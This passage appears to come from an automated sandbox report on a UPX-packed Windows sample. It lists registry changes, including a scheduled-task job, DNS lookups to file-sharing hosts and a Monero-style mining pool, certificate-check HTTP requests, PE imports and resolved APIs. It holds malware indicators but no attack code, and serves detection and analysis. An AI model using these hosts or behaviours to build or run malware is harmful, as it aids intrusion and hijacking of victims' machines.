  547. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\en-US\\intelppm.sys.mui[PROCESSORWMI]",
  548. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\System32\\Drivers\\portcls.SYS[PortclsMof]",
  549. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\System32\\Drivers\\en-US\\portcls.SYS.mui[PortclsMof]",
  550. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\monitor.sys[MonitorWMI]",
  551. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\{F886DF70-B283-4111-B4B9-6C532B2A85E8}\\data"
  552. ]
  553.  
  554. [*] Deleted Registry Keys: [
  555. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\CompatibilityAdapter\\Signatures\\vipThundersss.job",
  556. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\CompatibilityAdapter\\Signatures\\vipThundersss.job.fp",
  557. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
  558. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\monitor.sys[MonitorWMI]"
  559. ]
  560.  
  561. [*] DNS Communications: [
  562. {
  563. "type": "A",
  564. "request": "www.upload.ee",
  565. "answers": [
  566. {
  567. "data": "37.187.167.53",
  568. "type": "A"
  569. },
  570. {
  571. "data": "node1.upload.ee",
  572. "type": "CNAME"
  573. }
  574. ]
  575. },
  576. {
  577. "type": "A",
  578. "request": "www.popo8.com",
  579. "answers": [
  580. {
  581. "data": "144.217.105.189",
  582. "type": "A"
  583. }
  584. ]
  585. },
  586. {
  587. "type": "A",
  588. "request": "img.vim-cn.com",
  589. "answers": [
  590. {
  591. "data": "104.28.23.25",
  592. "type": "A"
  593. },
  594. {
  595. "data": "104.28.22.25",
  596. "type": "A"
  597. }
  598. ]
  599. },
  600. {
  601. "type": "A",
  602. "request": "pasc-us-east1.nanopool.org",
  603. "answers": [
  604. {
  605. "data": "144.217.14.109",
  606. "type": "A"
  607. },
  608. {
  609. "data": "142.44.243.6",
  610. "type": "A"
  611. },
  612. {
  613. "data": "192.99.69.170",
  614. "type": "A"
  615. },
  616. {
  617. "data": "144.217.14.139",
  618. "type": "A"
  619. },
  620. {
  621. "data": "142.44.242.100",
  622. "type": "A"
  623. }
  624. ]
  625. },
  626. {
  627. "type": "A",
  628. "request": "ocsp.trust-provider.com",
  629. "answers": [
  630. {
  631. "data": "t3j2g9x7.stackpathcdn.com",
  632. "type": "CNAME"
  633. },
  634. {
  635. "data": "151.139.128.14",
  636. "type": "A"
  637. }
  638. ]
  639. },
  640. {
  641. "type": "A",
  642. "request": "ocsp.comodoca4.com",
  643. "answers": [
  644. {
  645. "data": "t3j2g9x7.stackpathcdn.com",
  646. "type": "CNAME"
  647. },
  648. {
  649. "data": "151.139.128.14",
  650. "type": "A"
  651. }
  652. ]
  653. },
  654. {
  655. "type": "A",
  656. "request": "anonfiles.com",
  657. "answers": [
  658. {
  659. "data": "194.32.146.58",
  660. "type": "A"
  661. },
  662. {
  663. "data": "194.32.146.59",
  664. "type": "A"
  665. }
  666. ]
  667. },
  668. {
  669. "type": "A",
  670. "request": "apps.identrust.com",
  671. "answers": [
  672. {
  673. "data": "192.35.177.64",
  674. "type": "A"
  675. },
  676. {
  677. "data": "apps.digsigtrust.com",
  678. "type": "CNAME"
  679. }
  680. ]
  681. },
  682. {
  683. "type": "A",
  684. "request": "cdn-10.anonfiles.com",
  685. "answers": [
  686. {
  687. "data": "194.32.146.110",
  688. "type": "A"
  689. }
  690. ]
  691. },
  692. {
  693. "type": "A",
  694. "request": "isrg.trustid.ocsp.identrust.com",
  695. "answers": [
  696. {
  697. "data": "89.249.74.49",
  698. "type": "A"
  699. },
  700. {
  701. "data": "isrg.trustid.ocsp.identrust.com.edgesuite.net",
  702. "type": "CNAME"
  703. },
  704. {
  705. "data": "89.249.74.42",
  706. "type": "A"
  707. },
  708. {
  709. "data": "a279.dscq.akamai.net",
  710. "type": "CNAME"
  711. }
  712. ]
  713. }
  714. ]
  715.  
  716. [*] Domains: [
  717. {
  718. "ip": "144.217.105.189",
  719. "domain": "www.popo8.com"
  720. },
  721. {
  722. "ip": "144.217.14.139",
  723. "domain": "pasc-us-east1.nanopool.org"
  724. },
  725. {
  726. "ip": "194.32.146.110",
  727. "domain": "cdn-10.anonfiles.com"
  728. },
  729. {
  730. "ip": "37.187.167.53",
  731. "domain": "www.upload.ee"
  732. },
  733. {
  734. "ip": "192.35.177.64",
  735. "domain": "apps.identrust.com"
  736. },
  737. {
  738. "ip": "89.249.74.42",
  739. "domain": "isrg.trustid.ocsp.identrust.com"
  740. },
  741. {
  742. "ip": "104.28.22.25",
  743. "domain": "img.vim-cn.com"
  744. },
  745. {
  746. "ip": "151.139.128.14",
  747. "domain": "ocsp.trust-provider.com"
  748. },
  749. {
  750. "ip": "151.139.128.14",
  751. "domain": "ocsp.comodoca4.com"
  752. },
  753. {
  754. "ip": "194.32.146.58",
  755. "domain": "anonfiles.com"
  756. }
  757. ]
  758.  
  759. [*] Network Communication - ICMP: []
  760.  
  761. [*] Network Communication - HTTP: [
  762. {
  763. "count": 1,
  764. "body": "",
  765. "uri": "http://ocsp.trust-provider.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEENSAj%2F6qJAfE5%2Fj9OXBRE4%3D",
  766. "user-agent": "Microsoft-CryptoAPI/6.1",
  767. "method": "GET",
  768. "host": "ocsp.trust-provider.com",
  769. "version": "1.1",
  770. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEENSAj%2F6qJAfE5%2Fj9OXBRE4%3D",
  771. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEENSAj%2F6qJAfE5%2Fj9OXBRE4%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.trust-provider.com\r\n\r\n",
  772. "port": 80
  773. },
  774. {
  775. "count": 1,
  776. "body": "",
  777. "uri": "http://ocsp.comodoca4.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrJdiQ%2Ficg9B19asFe73bPYs%2BreAQUdXGnGUgZvJ2d6kFH35TESHeZ03kCEFslzmkHxCZVZtM5DJmpVK0%3D",
  778. "user-agent": "Microsoft-CryptoAPI/6.1",
  779. "method": "GET",
  780. "host": "ocsp.comodoca4.com",
  781. "version": "1.1",
  782. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrJdiQ%2Ficg9B19asFe73bPYs%2BreAQUdXGnGUgZvJ2d6kFH35TESHeZ03kCEFslzmkHxCZVZtM5DJmpVK0%3D",
  783. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrJdiQ%2Ficg9B19asFe73bPYs%2BreAQUdXGnGUgZvJ2d6kFH35TESHeZ03kCEFslzmkHxCZVZtM5DJmpVK0%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca4.com\r\n\r\n",
  784. "port": 80
  785. },
  786. {
  787. "count": 1,
  788. "body": "",
  789. "uri": "http://ocsp.comodoca4.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTOpjOEf6LG1z52jqAxwDlTxoaOCgQUQAlhZ%2FC8g3FP3hIILG%2FU1Ct2PZYCEQD%2FHLPpS7hZm4ag9hWsTJ09",
  790. "user-agent": "Microsoft-CryptoAPI/6.1",
  791. "method": "GET",
  792. "host": "ocsp.comodoca4.com",
  793. "version": "1.1",
  794. "path": "/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTOpjOEf6LG1z52jqAxwDlTxoaOCgQUQAlhZ%2FC8g3FP3hIILG%2FU1Ct2PZYCEQD%2FHLPpS7hZm4ag9hWsTJ09",
  795. "data": "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTOpjOEf6LG1z52jqAxwDlTxoaOCgQUQAlhZ%2FC8g3FP3hIILG%2FU1Ct2PZYCEQD%2FHLPpS7hZm4ag9hWsTJ09 HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca4.com\r\n\r\n",
  796. "port": 80
  797. },
  798. {
  799. "count": 1,
  800. "body": "",
  801. "uri": "http://apps.identrust.com/roots/dstrootcax3.p7c",
  802. "user-agent": "Microsoft-CryptoAPI/6.1",
  803. "method": "GET",
  804. "host": "apps.identrust.com",
  805. "version": "1.1",
  806. "path": "/roots/dstrootcax3.p7c",
  807. "data": "GET /roots/dstrootcax3.p7c HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: apps.identrust.com\r\n\r\n",
  808. "port": 80
  809. },
  810. {
  811. "count": 1,
  812. "body": "",
  813. "uri": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
  814. "user-agent": "Microsoft-CryptoAPI/6.1",
  815. "method": "GET",
  816. "host": "www.download.windowsupdate.com",
  817. "version": "1.1",
  818. "path": "/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
  819. "data": "GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1\r\nCache-Control: max-age = 86403\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Feb 2019 16:53:13 GMT\r\nIf-None-Match: \"80e22c19cfcad41:0\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: www.download.windowsupdate.com\r\n\r\n",
  820. "port": 80
  821. },
  822. {
  823. "count": 1,
  824. "body": "",
  825. "uri": "http://isrg.trustid.ocsp.identrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D",
  826. "user-agent": "Microsoft-CryptoAPI/6.1",
  827. "method": "GET",
  828. "host": "isrg.trustid.ocsp.identrust.com",
  829. "version": "1.1",
  830. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D",
  831. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: isrg.trustid.ocsp.identrust.com\r\n\r\n",
  832. "port": 80
  833. }
  834. ]
  835.  
  836. [*] Network Communication - SMTP: []
  837.  
  838. [*] Network Communication - Hosts: []
  839.  
  840. [*] Network Communication - IRC: []
  841.  
  842. [*] Static Analysis: {
  843. "pe": {
  844. "peid_signatures": null,
  845. "imports": [
  846. {
  847. "imports": [
  848. {
  849. "name": "LoadLibraryA",
  850. "address": "0x43d0b4"
  851. },
  852. {
  853. "name": "ExitProcess",
  854. "address": "0x43d0b8"
  855. },
  856. {
  857. "name": "GetProcAddress",
  858. "address": "0x43d0bc"
  859. },
  860. {
  861. "name": "VirtualProtect",
  862. "address": "0x43d0c0"
  863. }
  864. ],
  865. "dll": "KERNEL32.DLL"
  866. },
  867. {
  868. "imports": [
  869. {
  870. "name": "OleRun",
  871. "address": "0x43d0c8"
  872. }
  873. ],
  874. "dll": "ole32.dll"
  875. },
  876. {
  877. "imports": [
  878. {
  879. "name": "VariantClear",
  880. "address": "0x43d0d0"
  881. }
  882. ],
  883. "dll": "OLEAUT32.dll"
  884. },
  885. {
  886. "imports": [
  887. {
  888. "name": "ShellExecuteA",
  889. "address": "0x43d0d8"
  890. }
  891. ],
  892. "dll": "SHELL32.dll"
  893. },
  894. {
  895. "imports": [
  896. {
  897. "name": "PathFileExistsA",
  898. "address": "0x43d0e0"
  899. }
  900. ],
  901. "dll": "SHLWAPI.dll"
  902. },
  903. {
  904. "imports": [
  905. {
  906. "name": "wsprintfA",
  907. "address": "0x43d0e8"
  908. }
  909. ],
  910. "dll": "USER32.dll"
  911. },
  912. {
  913. "imports": [
  914. {
  915. "name": "WinHttpAddRequestHeaders",
  916. "address": "0x43d0f0"
  917. }
  918. ],
  919. "dll": "WINHTTP.dll"
  920. },
  921. {
  922. "imports": [
  923. {
  924. "name": "InternetOpenA",
  925. "address": "0x43d0f8"
  926. }
  927. ],
  928. "dll": "WININET.dll"
  929. }
  930. ],
  931. "digital_signers": null,
  932. "exported_dll_name": null,
  933. "actual_checksum": "0x000208a0",
  934. "overlay": null,
  935. "imagebase": "0x00400000",
  936. "reported_checksum": "0x00000000",
  937. "icon_hash": null,
  938. "entrypoint": "0x0043c570",
  939. "timestamp": "2019-06-25 03:53:53",
  940. "osversion": "4.0",
  941. "sections": [
  942. {
  943. "name": "UPX0",
  944. "characteristics": "IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  945. "virtual_address": "0x00001000",
  946. "size_of_data": "0x00000000",
  947. "entropy": "0.00",
  948. "raw_address": "0x00000400",
  949. "virtual_size": "0x00028000",
  950. "characteristics_raw": "0xe0000080"
  951. },
  952. {
  953. "name": "UPX1",
  954. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  955. "virtual_address": "0x00029000",
  956. "size_of_data": "0x00013800",
  957. "entropy": "7.89",
  958. "raw_address": "0x00000400",
  959. "virtual_size": "0x00014000",
  960. "characteristics_raw": "0xe0000040"
  961. },
  962. {
  963. "name": "UPX2",
  964. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  965. "virtual_address": "0x0003d000",
  966. "size_of_data": "0x00000200",
  967. "entropy": "4.07",
  968. "raw_address": "0x00013c00",
  969. "virtual_size": "0x00001000",
  970. "characteristics_raw": "0xc0000040"
  971. }
  972. ],
  973. "resources": [],
  974. "dirents": [
  975. {
  976. "virtual_address": "0x00000000",
  977. "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
  978. "size": "0x00000000"
  979. },
  980. {
  981. "virtual_address": "0x0003d000",
  982. "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
  983. "size": "0x000001fc"
  984. },
  985. {
  986. "virtual_address": "0x00000000",
  987. "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
  988. "size": "0x00000000"
  989. },
  990. {
  991. "virtual_address": "0x00000000",
  992. "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
  993. "size": "0x00000000"
  994. },
  995. {
  996. "virtual_address": "0x00000000",
  997. "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
  998. "size": "0x00000000"
  999. },
  1000. {
  1001. "virtual_address": "0x00000000",
  1002. "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
  1003. "size": "0x00000000"
  1004. },
  1005. {
  1006. "virtual_address": "0x00000000",
  1007. "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
  1008. "size": "0x00000000"
  1009. },
  1010. {
  1011. "virtual_address": "0x00000000",
  1012. "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
  1013. "size": "0x00000000"
  1014. },
  1015. {
  1016. "virtual_address": "0x00000000",
  1017. "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
  1018. "size": "0x00000000"
  1019. },
  1020. {
  1021. "virtual_address": "0x00000000",
  1022. "name": "IMAGE_DIRECTORY_ENTRY_TLS",
  1023. "size": "0x00000000"
  1024. },
  1025. {
  1026. "virtual_address": "0x00000000",
  1027. "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
  1028. "size": "0x00000000"
  1029. },
  1030. {
  1031. "virtual_address": "0x00000000",
  1032. "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
  1033. "size": "0x00000000"
  1034. },
  1035. {
  1036. "virtual_address": "0x00000000",
  1037. "name": "IMAGE_DIRECTORY_ENTRY_IAT",
  1038. "size": "0x00000000"
  1039. },
  1040. {
  1041. "virtual_address": "0x00000000",
  1042. "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
  1043. "size": "0x00000000"
  1044. },
  1045. {
  1046. "virtual_address": "0x00000000",
  1047. "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
  1048. "size": "0x00000000"
  1049. },
  1050. {
  1051. "virtual_address": "0x00000000",
  1052. "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
  1053. "size": "0x00000000"
  1054. }
  1055. ],
  1056. "exports": [],
  1057. "guest_signers": {},
  1058. "imphash": "48c64dc9715b56a74c5ed4ab1ea53824",
  1059. "icon_fuzzy": null,
  1060. "icon": null,
  1061. "pdbpath": null,
  1062. "imported_dll_count": 8,
  1063. "versioninfo": []
  1064. }
  1065. }
  1066.  
  1067. [*] Resolved APIs: [
  1068. "kernel32.dll.LocalSize",
  1069. "kernel32.dll.CreateToolhelp32Snapshot",
  1070. "kernel32.dll.Process32First",
  1071. "kernel32.dll.Process32Next",
  1072. "kernel32.dll.GetSystemInfo",
  1073. "kernel32.dll.GetProcessHeap",
  1074. "kernel32.dll.OpenProcess",
  1075. "kernel32.dll.TerminateProcess",
  1076. "kernel32.dll.DeleteFileA",
  1077. "kernel32.dll.MultiByteToWideChar",
  1078. "kernel32.dll.lstrcpynW",
  1079. "kernel32.dll.RtlMoveMemory",
  1080. "kernel32.dll.CreateWaitableTimerA",
  1081. "kernel32.dll.SetWaitableTimer",
  1082. "kernel32.dll.GetLastError",
  1083. "kernel32.dll.GetModuleHandleA",
  1084. "kernel32.dll.ExitProcess",
  1085. "kernel32.dll.HeapAlloc",
  1086. "kernel32.dll.HeapReAlloc",
  1087. "kernel32.dll.HeapFree",
  1088. "kernel32.dll.IsBadReadPtr",
  1089. "kernel32.dll.CloseHandle",
  1090. "kernel32.dll.WriteFile",
  1091. "kernel32.dll.CreateFileA",
  1092. "kernel32.dll.WideCharToMultiByte",
  1093. "kernel32.dll.GetUserDefaultLCID",
  1094. "kernel32.dll.WaitForSingleObject",
  1095. "kernel32.dll.CreateProcessA",
  1096. "kernel32.dll.GetStartupInfoA",
  1097. "kernel32.dll.GetModuleFileNameA",
  1098. "kernel32.dll.Sleep",
  1099. "kernel32.dll.ReadFile",
  1100. "kernel32.dll.GetFileSize",
  1101. "kernel32.dll.SetFileAttributesA",
  1102. "kernel32.dll.FreeLibrary",
  1103. "kernel32.dll.GetProcAddress",
  1104. "kernel32.dll.LoadLibraryA",
  1105. "kernel32.dll.LCMapStringA",
  1106. "kernel32.dll.FlushFileBuffers",
  1107. "kernel32.dll.SetStdHandle",
  1108. "kernel32.dll.IsBadCodePtr",
  1109. "kernel32.dll.SetUnhandledExceptionFilter",
  1110. "kernel32.dll.GetStringTypeW",
  1111. "kernel32.dll.GetStringTypeA",
  1112. "kernel32.dll.SetFilePointer",
  1113. "kernel32.dll.GetOEMCP",
  1114. "kernel32.dll.GetACP",
  1115. "kernel32.dll.GetCPInfo",
  1116. "kernel32.dll.IsBadWritePtr",
  1117. "kernel32.dll.VirtualAlloc",
  1118. "kernel32.dll.RaiseException",
  1119. "kernel32.dll.LCMapStringW",
  1120. "kernel32.dll.LeaveCriticalSection",
  1121. "kernel32.dll.EnterCriticalSection",
  1122. "kernel32.dll.InitializeCriticalSection",
  1123. "kernel32.dll.VirtualFree",
  1124. "kernel32.dll.HeapCreate",
  1125. "kernel32.dll.HeapDestroy",
  1126. "kernel32.dll.GetVersionExA",
  1127. "kernel32.dll.GetEnvironmentVariableA",
  1128. "kernel32.dll.TlsGetValue",
  1129. "kernel32.dll.SetLastError",
  1130. "kernel32.dll.TlsAlloc",
  1131. "kernel32.dll.TlsSetValue",
  1132. "kernel32.dll.GetCurrentThreadId",
  1133. "kernel32.dll.DeleteCriticalSection",
  1134. "kernel32.dll.GetFileType",
  1135. "kernel32.dll.GetStdHandle",
  1136. "kernel32.dll.SetHandleCount",
  1137. "kernel32.dll.GetEnvironmentStringsW",
  1138. "kernel32.dll.GetEnvironmentStrings",
  1139. "kernel32.dll.FreeEnvironmentStringsW",
  1140. "kernel32.dll.FreeEnvironmentStringsA",
  1141. "kernel32.dll.UnhandledExceptionFilter",
  1142. "kernel32.dll.GetCurrentProcess",
  1143. "kernel32.dll.RtlUnwind",
  1144. "kernel32.dll.InterlockedIncrement",
  1145. "kernel32.dll.InterlockedDecrement",
  1146. "kernel32.dll.GetVersion",
  1147. "kernel32.dll.GetCommandLineA",
  1148. "ole32.dll.CoCreateInstance",
  1149. "ole32.dll.OleRun",
  1150. "ole32.dll.CoUninitialize",
  1151. "ole32.dll.CoInitialize",
  1152. "ole32.dll.CLSIDFromProgID",
  1153. "ole32.dll.CLSIDFromString",
  1154. "oleaut32.dll.#36",
  1155. "oleaut32.dll.#8",
  1156. "oleaut32.dll.#12",
  1157. "oleaut32.dll.#37",
  1158. "oleaut32.dll.#10",
  1159. "oleaut32.dll.#17",
  1160. "oleaut32.dll.#20",
  1161. "oleaut32.dll.#19",
  1162. "oleaut32.dll.#23",
  1163. "oleaut32.dll.#24",
  1164. "oleaut32.dll.#18",
  1165. "oleaut32.dll.#6",
  1166. "oleaut32.dll.#82",
  1167. "oleaut32.dll.#86",
  1168. "oleaut32.dll.#161",
  1169. "oleaut32.dll.#165",
  1170. "oleaut32.dll.#163",
  1171. "oleaut32.dll.#15",
  1172. "oleaut32.dll.#2",
  1173. "oleaut32.dll.#16",
  1174. "oleaut32.dll.#9",
  1175. "shell32.dll.ShellExecuteA",
  1176. "shell32.dll.ShellExecuteEx",
  1177. "shlwapi.dll.PathFileExistsA",
  1178. "user32.dll.PeekMessageA",
  1179. "user32.dll.wsprintfA",
  1180. "user32.dll.MsgWaitForMultipleObjects",
  1181. "user32.dll.MessageBoxA",
  1182. "user32.dll.DispatchMessageA",
  1183. "user32.dll.TranslateMessage",
  1184. "user32.dll.GetMessageA",
  1185. "winhttp.dll.WinHttpAddRequestHeaders",
  1186. "wininet.dll.InternetOpenA",
  1187. "wininet.dll.InternetCloseHandle",
  1188. "wininet.dll.InternetSetCookieA",
  1189. "wininet.dll.HttpAddRequestHeadersA",
  1190. "wininet.dll.InternetSetOptionA",
  1191. "wininet.dll.HttpQueryInfoA",
  1192. "wininet.dll.InternetConnectA",
  1193. "wininet.dll.HttpSendRequestA",
  1194. "wininet.dll.HttpOpenRequestA",
  1195. "wininet.dll.InternetReadFile",
  1196. "kernel32.dll.IsProcessorFeaturePresent",
  1197. "cryptbase.dll.SystemFunction036",
  1198. "uxtheme.dll.ThemeInitApiHook",
  1199. "user32.dll.IsProcessDPIAware",
  1200. "kernel32.dll.VirtualProtect",
  1201. "user32.dll.wsprintfW",
  1202. "wininet.dll.InternetOpenW",
  1203. "kernel32.dll.MapViewOfFile",
  1204. "kernel32.dll.UnmapViewOfFile",
  1205. "kernel32.dll.CreateFileW",
  1206. "kernel32.dll.CreateFileMappingW",
  1207. "kernel32.dll.GetExitCodeThread",
  1208. "kernel32.dll.CreateThread",
  1209. "kernel32.dll.HeapSize",
  1210. "kernel32.dll.InitializeCriticalSectionAndSpinCount",
  1211. "kernel32.dll.IsDebuggerPresent",
  1212. "kernel32.dll.IsValidCodePage",
  1213. "kernel32.dll.GetModuleHandleW",
  1214. "kernel32.dll.TlsFree",
  1215. "kernel32.dll.QueryPerformanceCounter",
  1216. "kernel32.dll.GetTickCount",
  1217. "kernel32.dll.GetCurrentProcessId",
  1218. "kernel32.dll.GetSystemTimeAsFileTime",
  1219. "kernel32.dll.GetLocaleInfoA",
  1220. "wininet.dll.HttpQueryInfoW",
  1221. "wininet.dll.HttpAddRequestHeadersW",
  1222. "wininet.dll.InternetSetOptionW",
  1223. "wininet.dll.HttpOpenRequestW",
  1224. "wininet.dll.InternetConnectW",
  1225. "wininet.dll.InternetQueryOptionW",
  1226. "wininet.dll.HttpSendRequestW",
  1227. "kernel32.dll.FlsAlloc",
  1228. "kernel32.dll.FlsGetValue",
  1229. "kernel32.dll.FlsSetValue",
  1230. "kernel32.dll.FlsFree",
  1231. "kernel32.dll.SortGetHandle",
  1232. "kernel32.dll.SortCloseHandle",
  1233. "sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid",
  1234. "sxs.dll.SxsOleAut32RedirectTypeLibrary",
  1235. "advapi32.dll.RegOpenKeyW",
  1236. "advapi32.dll.RegQueryValueW",
  1237. "oleaut32.dll.#28",
  1238. "shlwapi.dll.StrRChrA",
  1239. "shlwapi.dll.StrCmpNW",
  1240. "oleaut32.dll.#4",
  1241. "shlwapi.dll.#153",
  1242. "ws2_32.dll.GetAddrInfoW",
  1243. "ws2_32.dll.WSASocketW",
  1244. "ws2_32.dll.#2",
  1245. "ws2_32.dll.#21",
  1246. "ws2_32.dll.#9",
  1247. "ws2_32.dll.WSAIoctl",
  1248. "ws2_32.dll.FreeAddrInfoW",
  1249. "ws2_32.dll.#6",
  1250. "ws2_32.dll.#5",
  1251. "schannel.dll.SpUserModeInitialize",
  1252. "advapi32.dll.RegCreateKeyExW",
  1253. "advapi32.dll.RegQueryValueExW",
  1254. "advapi32.dll.RegCloseKey",
  1255. "ws2_32.dll.WSASend",
  1256. "ws2_32.dll.WSARecv",
  1257. "secur32.dll.FreeContextBuffer",
  1258. "ncrypt.dll.SslOpenProvider",
  1259. "ncrypt.dll.GetSChannelInterface",
  1260. "bcryptprimitives.dll.GetHashInterface",
  1261. "ncrypt.dll.SslIncrementProviderReferenceCount",
  1262. "ncrypt.dll.SslImportKey",
  1263. "bcryptprimitives.dll.GetCipherInterface",
  1264. "ncrypt.dll.SslLookupCipherSuiteInfo",
  1265. "user32.dll.LoadStringW",
  1266. "ncrypt.dll.BCryptOpenAlgorithmProvider",
  1267. "ncrypt.dll.BCryptGetProperty",
  1268. "ncrypt.dll.BCryptCreateHash",
  1269. "ncrypt.dll.BCryptHashData",
  1270. "ncrypt.dll.BCryptFinishHash",
  1271. "ncrypt.dll.BCryptDestroyHash",
  1272. "crypt32.dll.CertGetCertificateChain",
  1273. "userenv.dll.GetUserProfileDirectoryW",
  1274. "sechost.dll.ConvertSidToStringSidW",
  1275. "sechost.dll.ConvertStringSidToSidW",
  1276. "userenv.dll.RegisterGPNotification",
  1277. "gpapi.dll.RegisterGPNotificationInternal",
  1278. "sechost.dll.OpenSCManagerW",
  1279. "sechost.dll.OpenServiceW",
  1280. "sechost.dll.CloseServiceHandle",
  1281. "sechost.dll.QueryServiceConfigW",
  1282. "cryptsp.dll.CryptAcquireContextA",
  1283. "cryptsp.dll.CryptCreateHash",
  1284. "cryptsp.dll.CryptHashData",
  1285. "cryptsp.dll.CryptVerifySignatureA",
  1286. "cryptsp.dll.CryptDestroyKey",
  1287. "cryptsp.dll.CryptDestroyHash",
  1288. "bcryptprimitives.dll.GetAsymmetricEncryptionInterface",
  1289. "ncrypt.dll.BCryptImportKeyPair",
  1290. "ncrypt.dll.BCryptVerifySignature",
  1291. "ncrypt.dll.BCryptDestroyKey",
  1292. "crypt32.dll.CertVerifyCertificateChainPolicy",
  1293. "crypt32.dll.CertFreeCertificateChain",
  1294. "crypt32.dll.CertDuplicateCertificateContext",
  1295. "ncrypt.dll.SslEncryptPacket",
  1296. "ncrypt.dll.SslDecryptPacket",
  1297. "ole32.dll.CreateStreamOnHGlobal",
  1298. "ole32.dll.GetHGlobalFromStream",
  1299. "oleaut32.dll.#411",
  1300. "crypt32.dll.CertFreeCertificateContext",
  1301. "rpcrt4.dll.RpcBindingFree",
  1302. "setupapi.dll.CM_Get_Device_Interface_List_Size_ExW",
  1303. "setupapi.dll.CM_Get_Device_Interface_List_ExW",
  1304. "comctl32.dll.#386",
  1305. "rasapi32.dll.RasConnectionNotificationW",
  1306. "sechost.dll.NotifyServiceStatusChangeA",
  1307. "winhttp.dll.WinHttpOpen",
  1308. "winhttp.dll.WinHttpSetTimeouts",
  1309. "winhttp.dll.WinHttpSetOption",
  1310. "winhttp.dll.WinHttpCrackUrl",
  1311. "winhttp.dll.WinHttpConnect",
  1312. "winhttp.dll.WinHttpOpenRequest",
  1313. "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
  1314. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  1315. "winhttp.dll.WinHttpSendRequest",
  1316. "winhttp.dll.WinHttpReceiveResponse",
  1317. "winhttp.dll.WinHttpQueryHeaders",
  1318. "shlwapi.dll.StrStrIW",
